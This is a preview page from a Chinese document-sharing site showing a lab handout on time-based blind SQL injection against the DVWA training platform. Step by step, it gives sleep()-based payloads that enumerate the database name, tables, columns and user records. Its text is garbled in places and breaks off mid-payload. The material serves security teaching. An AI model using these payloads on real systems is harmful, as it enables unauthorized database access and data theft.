



下載本文檔
版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)
文檔簡介
1、言1言息宜至與管理專皿兼學(xué)資靦庫實訓(xùn)I SQL注入(時間盲注)1一、實訓(xùn)目的1 . 了解SQL注入的常用方式2 .掌握SQL時間盲注的方法二、實訓(xùn)環(huán)境1. DVWA平臺2. Firefox瀏覽器(谷歌瀏覽器)三、實訓(xùn)內(nèi)容1 .配置DVWA平臺進(jìn)入DVWA平臺,選擇DVWA Security ,將安全級別設(shè)置為Low。2 .測試SQL注入點(1)點擊SQL Injection (Blind),進(jìn)入測試頁面。(2)使用參數(shù)1' and sleep(5) # 進(jìn)行提交,頁面明顯延遲。使用參數(shù)1 andsleep(5) #進(jìn)行提交,頁面沒有延遲。說明是基于字符的時間盲注。(3)猜解數(shù)據(jù)庫名的長
2、度。具體命令如下:/明顯延遲? 1' and if(length(database()=1,sleep(5),1) #/ 沒有延遲1' and if(length(database()=4,sleep(5),1) #(4)二分法猜解數(shù)據(jù)庫名。具體命令如下:八言息我至與管理專皿裁學(xué)費靦每? 1' andif(ascii(substr(database(),1,1)>97,sleep(5),1)#/明顯延遲? 1' andif(ascii(substr(database(),1,1)<100,sleep(5),1)#/沒有延遲? 1' andif
3、(ascii(substr(database(),1,1)>100,sleep(5),1)#/沒有延遲修改substr函數(shù)的第二個參數(shù),如substr(database(),2,1) 進(jìn)行測試,可以 獲得數(shù)據(jù)庫的第二個字母。(5)猜解數(shù)據(jù)庫表的數(shù)量。具體命令如下:? 1' and if(select count(table_name)frominformation_schema.tableswheretable_schema=database() )=1,sleep(5),1)#/ 沒有延遲? 1' and if(select count(table_name)fromi
4、nformation_schema.tableswheretable_schema=database() )=2,sleep(5),1)#/ 明顯延遲(6)猜解數(shù)據(jù)庫表名的長度。具體命令格式如下:/沒有延遲? 1' and if(length(substr(select table_name from information_schema.tables where table_schema=database() limit 0,1),1)=1,sleep(5),1) #言1言息宜至與管理專皿兼學(xué)資靦庫1' and if(length(substr(selecttablename
5、frominformation_schema.tables where table_schema=database()limit 0,1),1)=9,sleep(5),1) #/ 明顯延遲table_name from(7)猜解數(shù)據(jù)庫表的名稱。具體命令格式如下:1' and if(ascii(substr(selectinformation_schema.tables where table_schema=database() limit 0,1),1,1)>103,sleep(5),1) #/ 沒有延遲? 1' and if(ascii(substr(select ta
6、ble_name from information_schema.tables where table_schema=database() limit 0,1),1,1)<103,sleep(5),1) #/ 沒有延遲重復(fù)上述步驟,猜解出兩個表名。(8)猜解數(shù)據(jù)庫表中的字段長度。具體命令格式如下:? 1' and if(select count(column_name) frominformation_schema.columnswhere table_name='users')=1,sleep(5),1)#/ 沒有延遲1' and if(selectco
7、unt(column_name)frominformation_schema.columnswhere table_name='users')=8,sleep(5),1)#/ 明顯延遲(9)猜解數(shù)據(jù)庫表中的字段名稱。具體命令格式如下:言1言息宜至與管理專皿兼學(xué)資靦庫1' and if(ascii(substr(selectcolumnnamefrominformation_schema.columns where table_name= 'users' limit 0,1),1,1)>117,sleep(5),1) #/ 沒有延遲1' an
8、d if(ascii(substr(select column_name from information_schema.columns where table_name= 'users' limit 0,1),1,1)<117,sleep(5),1) #/ 沒有延遲(10)猜解表中的數(shù)據(jù)。具體命令格式如下:1' and if(select count(first_name) from users)=5,sleep(5),1) # /明顯延遲users表中的字段數(shù)為5猜測每條記錄的長度。說明巾rst_name的第一個值得長度為5個字符。? 1' and if(length(substr(select first_name from users limit 0,1),1)=5,sleep(5),1) #/ 明顯延遲(11)二分法猜解表中的數(shù)據(jù)。具體命令格式如下:?1'andif(ascii(substr(selectfirst_namefromuserslimit0,1),1,1)&g
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
- 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
- 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
- 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 基于能量尺度方法的軟土蠕變特性研究
- 大單元教學(xué)在農(nóng)村初中英語閱讀課中的應(yīng)用研究
- 印度學(xué)前教育體系解析
- 體檢健康教育核心要點
- 呼吸內(nèi)科疑難病例討論
- 腸內(nèi)營養(yǎng)護(hù)理外科
- 健康本領(lǐng)的多維解析
- 《社會財務(wù)共享服務(wù)實務(wù)》課件-增值稅的計算與申報
- 預(yù)防心理健康教育課件
- 中心校校園安全管理培訓(xùn)
- 光伏發(fā)電建設(shè)項目二級安全教育培訓(xùn)考試試卷(附答案)
- 大學(xué)英語四級高頻詞匯1500+六級高頻詞匯1500
- 《基礎(chǔ)護(hù)理學(xué)(第七版)》考前強(qiáng)化模擬練習(xí)試題庫500題(含答案)
- 中學(xué)教科研課題管理制度
- 叉車司機(jī)證考試題庫(含各題型)
- 房屋永久居住權(quán)協(xié)議書(2篇)
- 2025-2030年中國合成氨產(chǎn)品行業(yè)市場發(fā)展現(xiàn)狀及前景趨勢分析報告
- CNAS-RL01:2019實驗室認(rèn)可規(guī)則
- 寧夏回族自治區(qū)婦幼保健院招聘備案人員真題
- 陳友芳:基于學(xué)科素養(yǎng)的思想政治學(xué)業(yè)質(zhì)量水平與考試評價(共54張)
- 廣州市軌道交通四號線官橋站工程施工總承包項目招標(biāo)文件
評論
0/150
提交評論